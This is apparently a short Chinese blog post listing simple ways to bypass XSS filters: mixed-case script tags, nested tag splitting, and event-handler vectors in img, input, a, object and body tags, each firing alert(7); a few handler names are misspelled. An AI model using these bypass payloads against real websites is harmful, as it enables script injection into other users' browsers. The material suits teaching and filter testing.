XSS的简单过滤和绕过

XSS的简单过滤和绕过

程序猿用一些函数将构成xss代码的一些关键字符给过滤了。但是，道高一尺魔高一丈，虽然过滤了，还是可以尝试进行过滤绕过，以达到XSS攻击的目的。

 

最简单的是输入<script> alert(7)</script> 弹出7

 

一：区分大小写过滤标签

可以使用大小写绕过 <scripT>alert(7)</scripT>

二：嵌套过滤标签

可以使用嵌套的script标签绕过<scr<script>ipt>alert(7)</scr</script>ipt>

三：除了<script>标签,还可以通过img、body等标签注入恶意js代码。

如 <img src=1 onerror=alert(7)>   

<img src=1 onlick=alert(7)>

<img src=1 onmouseover=alert(7)> (鼠标移到上面就会触发)

<input scr=1 onfous="alert(7)">    

<a href="javascript:alert(7)">

<object data="javascript:alert(/7/)">     

<body onload=alert(7)>

 

posted @ 2019-09-17 10:32  Underwate  阅读(1740)  评论(0)  编辑  收藏  举报